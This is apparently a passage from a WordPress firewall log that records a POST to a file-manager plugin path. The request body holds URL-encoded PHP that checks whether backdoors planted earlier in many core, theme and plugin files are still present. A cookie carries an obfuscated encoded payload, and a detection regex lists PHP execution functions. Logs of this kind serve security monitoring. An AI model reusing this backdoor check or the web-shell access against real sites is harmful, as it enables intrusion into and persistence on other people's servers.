php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 13:31:29","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xT:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-mode:navigate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrSDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nupgrade-insecure-requests:1\ncontent-length:14004\n\nxT=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatib